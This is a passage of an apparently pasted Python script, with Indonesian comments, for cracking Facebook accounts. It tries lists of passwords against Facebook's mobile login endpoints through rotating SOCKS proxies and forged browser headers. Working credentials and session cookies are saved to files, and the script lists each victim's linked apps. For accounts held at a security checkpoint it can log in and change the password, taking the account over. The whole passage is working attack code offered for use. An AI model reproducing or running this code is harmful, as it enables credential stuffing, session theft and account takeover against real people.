  841.             ses.headers.update({"Host":"m.facebook.com","upgrade-insecure-requests":"1","user-agent":ua,"accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8,application/signed-exchange;v=b3;q=0.9","dnt":"1","x-requested-with":"mark.via.gp","sec-fetch-site":"same-origin","sec-fetch-mode":"cors","sec-fetch-user":"empty","sec-fetch-dest":"document","referer":"https://m.facebook.com/","accept-encoding":"gzip, deflate br","accept-language":"en-GB,en-US;q=0.9,en;q=0.8"})
  842.             p = ses.get('https://m.facebook.com/login/?email='+idf).text
  843.             dataa ={
  844. 'lsd':re.search('name="lsd" value="(.*?)"', str(p)).group(1),
  845. 'jazoest':re.search('name="jazoest" value="(.*?)"', str(p)).group(1),
  846. 'm_ts':re.search('name="m_ts" value="(.*?)"', str(p)).group(1),
  847. 'li':re.search('name="li" value="(.*?)"', str(p)).group(1),
  848. 'email':idf,
  849. 'pass':pw
  850. }
  851.             ses.headers.update({'Host': 'm.facebook.com',
  852. 'cache-control': 'max-age=0',
  853. 'upgrade-insecure-requests': '1',
  854. 'origin': 'https://m.facebook.com',
  855. 'content-type': 'application/x-www-form-urlencoded',
  856. 'user-agent': ua,
  857. 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8,application/signed-exchange;v=b3;q=0.9',
  858. 'sec-fetch-site': 'same-origin',
  859. 'sec-fetch-mode': 'cors',
  860. 'sec-fetch-user': 'empty',
  861. 'sec-fetch-dest': 'document',
  862. 'referer': 'https://m.facebook.com/login/?email='+idf,
  863. 'accept-encoding':'gzip, deflate br',
  864. 'accept-language':'en-GB,en-US;q=0.9,en;q=0.8'})
  865.  
  866.             po = ses.post('https://m.facebook.com/login/device-based/regular/login/?shbl=1&refsrc=deprecated',data=dataa,allow_redirects=False,proxies=proxs)
  867.             if "checkpoint" in po.cookies.get_dict().keys():
  868.                 ok+=1
  869.                 coki=po.cookies.get_dict()
  870.                 kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  871.                 kukis = kuki.replace(f'c_user={idf};datr','sb')
  872.                 print(f'\r{H}[*] ID : {idf} [*] PASSWORD : {pw} [*] COKIES: {kukis}\n UGENT : {ua}{N}')
  873.                 open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  874.                 cek_apk(kukis)
  875.                 break
  876.                
  877.             else:
  878.                 continue
  879.         except requests.exceptions.ConnectionError:
  880.             time.sleep(31)
  881.     loop+=1
  882.  
  883. def ceker(idf,pw):
  884.     global cp
  885.     ua = 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36 Opera/9.80 (J2ME/MIDP; Opera Mini/9.80 (S60; SymbOS; Opera Mobi/23.348; U; en) Presto/2.5.25 Version/10.54'
  886.     head = {"Host": "mbasic.facebook.com","cache-control": "max-age=0","upgrade-insecure-requests": "1","origin": "https://mbasic.facebook.com","content-type": "application/x-www-form-urlencoded","user-agent": ua,"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","x-requested-with": "mark.via.gp","sec-fetch-site": "same-origin","sec-fetch-mode": "navigate","sec-fetch-user": "?1","sec-fetch-dest": "document","referer": "https://mbasic.facebook.com/login/?next&ref=dbl&fl&refid=8","accept-encoding": "gzip, deflate","accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"}
  887.     ses = requests.Session()
  888.     try:
  889.         hi = ses.get('https://mbasic.facebook.com')
  890.         ho = sop(ses.post('https://mbasic.facebook.com/login.php', data={'email':idf,'pass':pw,'login':'submit'}, headers=head, allow_redirects=True).text,'html.parser')
  891.         jo = ho.find('form')
  892.         data = {}
  893.         lion = ['nh','jazoest','fb_dtsg','submit[Continue]','checkpoint_data']
  894.         for anj in jo('input'):
  895.             if anj.get('name') in lion:
  896.                 data.update({anj.get('name'):anj.get('value')})
  897.         kent = sop(ses.post('https://mbasic.facebook.com'+str(jo['action']), data=data, headers=head).text,'html.parser')
  898.         print('\r%s++++ %s|%s ----> CP       %s'%(b,idf,pw,x))
  899.         open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  900.         cp+=1
  901.         opsi = kent.find_all('option')
  902.         if len(opsi)==0:
  903.             print('\r%s---> Tap Yes / A2F (Cek Login Di Lite/Mbasic%s)'%(hh,x))
  904.         else:
  905.             for opsii in opsi:
  906.                 print('\r%s---> %s%s'%(kk,opsii.text,x))
  907.     except Exception as c:
  908.         print('\r%s++++ %s|%s ----> CP       %s'%(b,idf,pw,x))
  909.         print('\r%s---> Tidak Dapat Mengecek Opsi (Cek Login Di Lite/Mbasic)%s'%(u,x))
  910.         open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  911.         cp+=1
  912.        
  913. #--------------------[ METODE ASYINC ]-----------------#
  914. def asyinc(idf,pwv):
  915.     global loop,ok,cp
  916.     bo = random.choice([m,k,h,b,u,x])
  917.     ua = random.choice(ugen)
  918.     ua2 = random.choice(ugen2)
  919.     ses = requests.Session()
  920.     prog.update(des,description=f"{h} 𝕾𝖕𝖔𝖐𝖞404 😈 {x} {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold red]{cp}[/]")
  921.     prog.advance(des)
  922.     for pw in pwv:
  923.         try:
  924.             if 'ya' in ualuh: ua = ualu[0]
  925.             nip=random.choice(prox)
  926.             proxs= {'http': 'socks4://'+nip}
  927.             ses.headers.update({"Host": "m.facebook.com","cache-control": "max-age=0","user-agent": ua,"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","sec-ch-ua": '" Not A;Brand";v="99", "Chromium";v="104"',"sec-ch-ua-mobile": "?1","sec-fetch-site": "same-origin","sec-fetch-mode": "cors","sec-fetch-dest": "empty","sec-fetch-user": "?1","upgrade-insecure-requests": "1","accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"})
  928.             p = ses.get("https://m.facebook.com/login.php?skip_api_login=1&api_key=206428089508143&kid_directed_site=0&app_id=206428089508143&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fdialog%2Foauth%3Fresponse_type%3Dcode%26client_id%3D206428089508143%26redirect_uri%3Dhttps%253A%252F%252Fwww.zalora.co.id%252Fcustomer%252Fsocialconnect%252Fendpoint%253Fhauth_done%253DFacebook%26scope%3Demail%252Cuser_birthday%26state%3DHA-S3X0PV7ZQH6DAFTK5IJRM9EWYCBOU8214NLG%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D0c67b520-a187-48a6-8125-3256fe975775%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fwww.zalora.co.id%2Fcustomer%2Fsocialconnect%2Fendpoint%3Fhauth_done%3DFacebook%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3DHA-S3X0PV7ZQH6DAFTK5IJRM9EWYCBOU8214NLG%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr")
  929.             dataa ={'lsd': re.search('name="lsd" value="(.*?)"',str(p.text)).group(1), 'jazoest': re.search('name="jazoest" value="(.*?)"',str(p.text)).group(1), 'm_ts': re.search('name="m_ts" value="(.*?)"',str(p.text)).group(1), 'li': re.search('name="li" value="(.*?)"',str(p.text)).group(1), 'try_number': '0', 'unrecognized_tries': '0', 'email': idf, 'pass': pw, 'prefill_contact_point': '', 'prefill_source': '', 'prefill_type': '', 'first_prefill_source': '', 'first_prefill_type': '', 'had_cp_prefilled': 'false', 'had_password_prefilled': 'false', 'is_smart_lock': 'false', 'bi_xrwh': re.search('name="bi_xrwh" value="(.*?)"',str(p.text)).group(1)}
  930.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  931.             koki+=' m_pixel_ratio=2.625; wd=412x756'
  932.             heade={
  933.             "Host": "m.facebook.com",
  934.             "content-length": f"{len(str(dataa))}",
  935.             "x-fb-lsd": re.search('name="lsd" value="(.*?)"',str(p.text)).group(1),
  936.             "origin": "https://m.facebook.com",
  937.             "content-type": "application/x-www-form-urlencoded",
  938.             "user-agent": ua,
  939.             "accept": "*/*",
  940.             "x-requested-with": "com.microsoft.bing",
  941.             "sec-ch-ua": '"Chromium";v="106", "Google Chrome";v="106", "Not;A=Brand";v="99"',
  942.             "sec-ch-ua-platform": '"Android"',
  943.             "sec-ch-ua-mobile": "?1",
  944.             "sec-fetch-site": "same-origin",
  945.             "sec-fetch-mode": "cors",
  946.             "sec-fetch-dest": "empty",
  947.             "sec-fetch-user": "?1",
  948.             "referer": "https://m.facebook.com/v8.0/dialog/oauth?response_type=code%2Cgranted_scopes&client_id=1239138353201716&redirect_uri=https%3A%2F%2Fkachishop-d0c3a.firebaseapp.com%2F__%2Fauth%2Fhandler&state=AMbdmDmDaplWH_DdoV_W4QQTmWmecz1GxWXAlj2cdr_Vf_0aKRi-oWe-Z3FTiIj8pa4JD342zNeLW91aHp12LY9dOYb8tOPKOtsEllaj3JYdF79-cf8Wr-OPLhAn7Zq1LeUfJWdCxX2mAPKVYOG0CChDNxiBnmVCUG3LGCJ3sCTSc1Eb5dZseFVZe2lUqc6Yzz92V58Ki3TvYM7HjC_421qwGmMHJNi0xIaeVA917YCkm8d-wMthO_lSm3eIQPryPnbreRYgONBzhtx692MYCYA3_6dPlkm70JVkIuHGHRiJ98KokSMQRhxjZJCAp_GbKVMDXvSWm0ZtdYR5CI4UZgrB&scope=public_profile%2Cemail&display=popup&ret=login&fbapp_pres=0&logger_id=087a364c-3d69-45b4-a55b-047dae50317c&tp=unspecified",
  949.             "accept-encoding": "gzip, deflate br",
  950.             "accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7",
  951.             }
  952.             po = ses.post('https://m.facebook.com/login/device-based/login/async/?refsrc=deprecated&lwv=100',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs)
  953.             if "checkpoint" in po.cookies.get_dict().keys():
  954.                 ok+=1
  955.                 coki=po.cookies.get_dict()
  956.                 kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  957.                 kukis = kuki.replace(f'c_user={idf};datr','sb')
  958.                 print(f'\r{H}[*] ID : {idf} [*] PASSWORD : {pw} [*] COKIES: {kukis}\n UGENT : {ua}{N}')
  959.                 open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  960.                 cek_apk(kukis)
  961.                 break
  962.                
  963.             else:
  964.                 continue
  965.         except requests.exceptions.ConnectionError:
  966.             time.sleep(31)
  967.     loop+=1
  968.  
  969. def ceker(idf,pw):
  970.     global cp
  971.     ua = 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36 Opera/9.80 (J2ME/MIDP; Opera Mini/9.80 (S60; SymbOS; Opera Mobi/23.348; U; en) Presto/2.5.25 Version/10.54'
  972.     head = {"Host": "mbasic.facebook.com","cache-control": "max-age=0","upgrade-insecure-requests": "1","origin": "https://mbasic.facebook.com","content-type": "application/x-www-form-urlencoded","user-agent": ua,"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","x-requested-with": "mark.via.gp","sec-fetch-site": "same-origin","sec-fetch-mode": "navigate","sec-fetch-user": "?1","sec-fetch-dest": "document","referer": "https://mbasic.facebook.com/login/?next&ref=dbl&fl&refid=8","accept-encoding": "gzip, deflate","accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"}
  973.     ses = requests.Session()
  974.     try:
  975.         hi = ses.get('https://mbasic.facebook.com')
  976.         ho = sop(ses.post('https://mbasic.facebook.com/login.php', data={'email':idf,'pass':pw,'login':'submit'}, headers=head, allow_redirects=True).text,'html.parser')
  977.         jo = ho.find('form')
  978.         data = {}
  979.         lion = ['nh','jazoest','fb_dtsg','submit[Continue]','checkpoint_data']
  980.         for anj in jo('input'):
  981.             if anj.get('name') in lion:
  982.                 data.update({anj.get('name'):anj.get('value')})
  983.         kent = sop(ses.post('https://mbasic.facebook.com'+str(jo['action']), data=data, headers=head).text,'html.parser')
  984.         print('\r%s++++ %s|%s ----> CP       %s'%(b,idf,pw,x))
  985.         open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  986.         cp+=1
  987.         opsi = kent.find_all('option')
  988.         if len(opsi)==0:
  989.             print('\r%s---> Tap Yes / A2F (Cek Login Di Lite/Mbasic%s)'%(hh,x))
  990.         else:
  991.             for opsii in opsi:
  992.                 print('\r%s---> %s%s'%(kk,opsii.text,x))
  993.     except Exception as c:
  994.         print('\r%s++++ %s|%s ----> CP       %s'%(b,idf,pw,x))
  995.         print('\r%s---> Tidak Dapat Mengecek Opsi (Cek Login Di Lite/Mbasic)%s'%(u,x))
  996.         open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  997.         cp+=1
  998.  
  999. def cek_apk(kukis):
  1000.     session = requests.Session()
  1001.     w=session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=active",cookies={"cookie":"noscript=1;"+kuki}).text
  1002.     sop = bs4.BeautifulSoup(w,"html.parser")
  1003.     x = sop.find("form",method="post")
  1004.     game = [i.text for i in x.find_all("h3")]
  1005.     try:
  1006.         for i in range(len(game)):
  1007.             print ("\r%s  \033[0m              ?? %s%s"%(P,H,game[i].replace("Ditambahkan pada"," Ditambahkan pada")))
  1008.     except AttributeError:
  1009.         print ("\r    %s\033[0m cookie invalid"%(M))
  1010.     w=session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=inactive",cookies={"cookie":"noscript=1;"+kuki}).text
  1011.     sop = bs4.BeautifulSoup(w,"html.parser")
  1012.     x = sop.find("form",method="post")
  1013.     game = [i.text for i in x.find_all("h3")]
  1014.     try:
  1015.         for i in range(len(game)):
  1016.             print ("\r%s  \033[0m              🚬 %s"%(P,game[i].replace("Kedaluwarsa"," Kedaluwarsa")))
  1017.     except AttributeError:
  1018.         print ("\r    %s \033[0mcookie invalid"%(M))
  1019.  
  1020.            
  1021. import requests, shutil, os, re, bs4, sys, json, time, platform ,random, datetime, subprocess, logging, base64
  1022. import hmac, hashlib, urllib, stdiomask, urllib.request, uuid
  1023. from concurrent.futures import ThreadPoolExecutor
  1024. from bs4 import BeautifulSoup as parser
  1025. from threading import (Thread, Event)
  1026. from time import sleep as jeda
  1027. from datetime import datetime
  1028.  
  1029. ct = datetime.now()
  1030. n = ct.month
  1031. bulan_ = ['Januari', 'Februari', 'Maret', 'April', 'Mei', 'Juni', 'Juli', 'Agustus', 'September', 'Oktober', 'November', 'Desember']
  1032. try:
  1033.     if n < 0 or n > 12:
  1034.         exit()
  1035.     nTemp = n - 1
  1036. except ValueError:
  1037.     exit()
  1038.  
  1039. current = datetime.now()
  1040. hari = current.day
  1041. bulan = bulan_[nTemp]
  1042. tahun = current.year
  1043. bullan = current.month
  1044.  
  1045. waktu = ("%s-%s-%s"%(hari,bulan,tahun))
  1046. bulan12 = {"01": "Januari", "02": "Februari", "03": "Maret", "04": "April", "05": "Mei", "06": "Juni", "07": "Juli", "08": "Agustus", "09": "September", "10": "Oktober", "11": "November", "12": "Desember"}
  1047.  
  1048. M = '\x1b[1;91m' # MERAH
  1049. H = '\x1b[1;92m' # HIJAU
  1050. K = '\x1b[1;93m' # KUNING
  1051. B = '\x1b[1;94m' # BIRU
  1052. U = '\x1b[1;95m' # UNGU
  1053. O = '\x1b[1;96m' # BIRU MUDA
  1054. P = '\x1b[1;97m' # PUTIH
  1055. J = '\033[38;2;255;127;0;1m' # ORANGE
  1056. N = '\x1b[0m' # WARNA MATI
  1057. acak = [M, H, K, B, U, O, P, J]
  1058. warna = random.choice(acak)
  1059. til ="\033[0m╰─ "
  1060.  
  1061. def jalan(keliling):
  1062.     for mau in keliling + '\n':
  1063.         sys.stdout.write(mau)
  1064.         sys.stdout.flush();jeda(0.03)
  1065.        
  1066.        
  1067. ubah_pass = []
  1068. pwbaru = []
  1069. pwBaru = []
  1070. ubahP = []
  1071.  
  1072. def file_cp():
  1073.     dirs = os.listdir('CP')
  1074.     print ("%s%s%s [%s\033[0m \033[0mpilih hasil crack yg tersimpan untuk cek opsi %s]\n"%(U,til,O,U,O))
  1075.     for file in dirs:
  1076.         print("%s%s\033[0m%s"%(U,til,file));jeda(0.07)
  1077.     try:
  1078.         print("\n%s%s%s\033[0m Masukan file [ cth%s: %sCP-%s.txt%s ]"%(U,til,O,M,K,waktu,O))
  1079.         opsi()
  1080.     except IOError:
  1081.         print ('%s%s \033[0mfile tidak ada'%(M,til))
  1082.         exit()
  1083.  
  1084. def opsi():
  1085.     CP = ("CP/")
  1086.     romi = input("%s%s%s \033[0mNama file %s> %s"%(U,til,O,M,K))
  1087.     if romi == "":
  1088.         print("%s%s \033[0misi yang benar "%(M,til));jeda(2)
  1089.         opsi()
  1090.     try:
  1091.         file_cp = open(CP+romi, "r").readlines()
  1092.     except IOError:
  1093.         exit("\n%s%s \033[0mnama file %s\033[0m tidak tersedia"%(M,til,romi))
  1094.     jalan("%s%s%s\033[0m Mode pesawatkan terlebih dahulu 5 detik "%(U,til,O))
  1095.     pw=input("\n%s%s%s \033[0mubah sandi pada akun one tab? y/t %s> %s"%(U,til,O,M,K))
  1096.     if pw in['y','Y']:
  1097.         ubah_pass.append("ubah_sandi")
  1098.         pw2 = input("%s%s%s \033[0mmasukan sandi %s> %s"%(U,til,O,M,K))
  1099.         if len(pw2) <= 5:
  1100.             print("%s%s sandi minimal 6 karakter "%(M,til))
  1101.         else:
  1102.             pwbaru.append(pw2)
  1103.     print("\n %s# %s====================== %s#"%(P,M,P));jeda(2)
  1104.     print ("%s%s%s\033[0m total akun %s: %s%s "%(U,til,O,M,K,str(len(file_cp))))
  1105.     print(" %s# %s====================== %s#"%(P,M,P));jeda(2)
  1106.     nomor = 0
  1107.     for fb in file_cp:
  1108.         akun = fb.replace("\n","")
  1109.         ngecek  = akun.split("|")
  1110.         nomor+=1
  1111.         print("\n%s%s.%s \033[0mlogin akun %s> %s%s"%(H,str(nomor),O,M,K,akun.replace(" *--> ","")));jeda(0.07)
  1112.         try:
  1113.             mengecek(ngecek[0].replace("",""), ngecek[1])
  1114.         except requests.exceptions.ConnectionError:
  1115.             continue
  1116.     print("\n%s%s%s \033[0mSelesai mengecek akun"%(U,til,O));jeda(0.07)
  1117.     input('%s%s%s [%s Enter%s ] '%(U,til,O,U,O))
  1118.     back()
  1119.    
  1120. data = {}
  1121. data2 = {}
  1122. def cektahun(fx):
  1123.     if len(fx)==15:
  1124.         if fx[:10] in ['1000000000']       :tahunz = '2009'
  1125.         elif fx[:9] in ['100000000']       :tahunz = '2009'
  1126.         elif fx[:8] in ['10000000']        :tahunz = '2009'
  1127.         elif fx[:7] in ['1000000','1000001','1000002','1000003','1000004','1000005']:tahunz = '2009'
  1128.         elif fx[:7] in ['1000006','1000007','1000008','1000009']:tahunz = '2010'
  1129.         elif fx[:6] in ['100001']          :tahunz = '2010'
  1130.         elif fx[:6] in ['100002','100003'] :tahunz = '2011'
  1131.         elif fx[:6] in ['100004']          :tahunz = '2012'
  1132.         elif fx[:6] in ['100005','100006'] :tahunz = '2013'
  1133.         elif fx[:6] in ['100007','100008'] :tahunz = '2014'
  1134.         elif fx[:6] in ['100009']          :tahunz = '2015'
  1135.         elif fx[:5] in ['10001']           :tahunz = '2016'
  1136.         elif fx[:5] in ['10002']           :tahunz = '2017'
  1137.         elif fx[:5] in ['10003']           :tahunz = '2018'
  1138.         elif fx[:5] in ['10004']           :tahunz = '2019'
  1139.         elif fx[:5] in ['10005']           :tahunz = '2020'
  1140.         elif fx[:5] in ['10006']           :tahunz = '2021'
  1141.         elif fx[:5] in ['10009']           :tahunz = '2023'
  1142.         elif fx[:5] in ['10007','10008']:tahunz = '2022'
  1143.         else:tahunz=''
  1144.     elif len(fx) in [9,10]:
  1145.         tahunz = '2008'
  1146.     elif len(fx)==8:
  1147.         tahunz = '2007'
  1148.     elif len(fx)==7:
  1149.         tahunz = '2006'
  1150.     else:tahunz=''
  1151.     return tahunz
  1152.  
  1153. def mengecek(user,pw):
  1154.     global loop,ubah_pass,pwbaru
  1155.     session=requests.Session()
  1156.     ua = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36'
  1157.     url = "https://mbasic.facebook.com"
  1158.     session.headers.update({"Host": "mbasic.facebook.com","cache-control": "max-age=0","upgrade-insecure-requests": "1","origin": "https://mbasic.facebook.com","content-type": "application/x-www-form-urlencoded","user-agent": ua,"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","x-requested-with": "mark.via.gp","sec-fetch-site": "same-origin","sec-fetch-mode": "navigate","sec-fetch-user": "?1","sec-fetch-dest": "document","referer": "https://mbasic.facebook.com/login/?next&ref=dbl&fl&refid=8","accept-encoding": "gzip, deflate","accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"})
  1159.     soup=bs4.BeautifulSoup(session.get(url+"/login/?next&ref=dbl&fl&refid=8").text,"html.parser")
  1160.     link=soup.find("form",{"method":"post"})
  1161.     for x in soup("input"):
  1162.         data.update({x.get("name"):x.get("value")})
  1163.     data.update({"email":user,"pass":pw})
  1164.     urlPost=session.post(url+link.get("action"),data=data)
  1165.     response=bs4.BeautifulSoup(urlPost.text, "html.parser")
  1166.     if "c_user" in session.cookies.get_dict():
  1167.         if "Akun Anda Dikunci" in urlPost.text:
  1168.             print("\r%s%s\033[0m akun terkunci sesi new"%(M,til))
  1169.         else:
  1170.             print("\r%s%s\033[0m akun tidak checkpoint, silahkan anda login "%(til,H))
  1171.             open('OK/OK-%s.txt'%(waktu), 'a').write(" %s|%s\n" % (user,pw))
  1172.     elif "checkpoint" in session.cookies.get_dict():
  1173.         coki = (";").join([ "%s=%s" % (key, value) for key, value in session.cookies.get_dict().items() ])
  1174.         title=re.findall("\<title>(.*?)<\/title>",str(response))
  1175.         link2=response.find("form",{"method":"post"})
  1176.         listInput=['fb_dtsg','jazoest','checkpoint_data','submit[Continue]','nh']
  1177.         for x in response("input"):
  1178.             if x.get("name") in listInput:
  1179.                 data2.update({x.get("name"):x.get("value")})
  1180.         an=session.post(url+link2.get("action"),data=data2)
  1181.         response2=bs4.BeautifulSoup(an.text,"html.parser")
  1182.         cek=[cek.text for cek in response2.find_all("option")]
  1183.         number=0
  1184.         print("\r%s╰─%s \033[0mterdapat %s%s%s \033[0mopsi %s:"%(U,O,P,str(len(cek)),O,M));jeda(0.07)
  1185.         if(len(cek)==0):
  1186.             if "Lihat detail login yang ditampilkan. Ini Anda?" in title:
  1187.                 if "ubah_sandi" in ubah_pass:
  1188.                     dat,dat2={},{}
  1189.                     but=["submit[Yes]","nh","fb_dtsg","jazoest","checkpoint_data"]
  1190.                     for x in response("input"):
  1191.                         if x.get("name") in but:
  1192.                             dat.update({x.get("name"):x.get("value")})
  1193.                     ubahPw=session.post(url+link2.get("action"),data=dat).text
  1194.                     resUbah=bs4.BeautifulSoup(ubahPw,"html.parser")
  1195.                     link3=resUbah.find("form",{"method":"post"})
  1196.                     but2=["submit[Next]","nh","fb_dtsg","jazoest"]
  1197.                     if "Buat Kata Sandi Baru" in re.findall("\<title>(.*?)<\/title>",str(ubahPw)):
  1198.                         for b in resUbah("input"):
  1199.                             dat2.update({b.get("name"):b.get("value")})
  1200.                         dat2.update({"password_new":"".join(pwbaru)})
  1201.                         an=session.post(url+link3.get("action"),data=dat2)
  1202.                         coki = (";").join([ "%s=%s" % (key, value) for key, value in session.cookies.get_dict().items() ])
  1203.                         print("\r%s%s\033[0makun one tab, sandi berhasil di ubah \n╰─ OK %s%s%s|%s|%s           "%(H,til,N,H,user,pwbaru[0],coki))
  1204.                         open('OK/OK-%s.txt' %(waktu), 'a').write("%s%s|%s|%s\n" % (H,user,pwbaru[0],coki))
  1205.                         #cek_apk(coki)
  1206.                 else:
  1207.                     print("\r%s%s \033[0makun one tab, silahkan anda login      "%(H,til))
  1208.                     open('OK/OK-%s.txt' %(waktu), 'a').write("%s %s|%s|%s\n" % (H,user,pw,coki))
  1209.                     #cek_apk(coki)
  1210.             elif "Masukkan Kode Masuk untuk Melanjutkan" in re.findall("\<title>(.*?)<\/title>",str(response)):
  1211.                 print("\r%s╰─\033[0m akun terpasang autentikasi dua faktor          "%(M))
  1212.             else:
  1213.                 print("%s%s\033[0mterjadi kesalahan"%(M,til))
  1214.         else:
  1215.             if "c_user" in session.cookies.get_dict():
  1216.                 print("\r%s%s akun tidak checkpoint, silahkan anda login "%(H))
  1217.                 open('OK/OK-%s.txt' %(waktu), 'a').write("%s%s|%s\n" % (H,user,pw))
  1218.         for opsi in range(len(cek)):
  1219.             number +=1
  1220.             jalan ("  %s%s. %s%s"%(P,str(number),K,cek[opsi]))
  1221.     elif "login_error" in str(response):
  1222.         oh = run.find("div",{"id":"login_error"}).find("div").text
  1223.         print("%s╰─ %s"%(M,oh))
  1224.     else:
  1225.         print("%s╰─ \033[0mlogin gagal, silahkan cek kembali id dan kata sandi"%(M))
  1226.        
  1227. #-----------------------[ SYSTEM-CONTROL ]--------------------#
  1228. if __name__=='__main__':
  1229.     try:os.system('git pull')
  1230.     except:pass
  1231.     try:os.mkdir('OK')
  1232.     except:pass
  1233.     try:os.mkdir('CP')
  1234.     except:pass
  1235.     try:os.mkdir('/sdcard/Dhanz-DUMP')
  1236.     except:pass
  1237.     try:os.system('touch .prox.txt')
  1238.     except:pass
  1239.     login()
Add Comment
Please, Sign In to add comment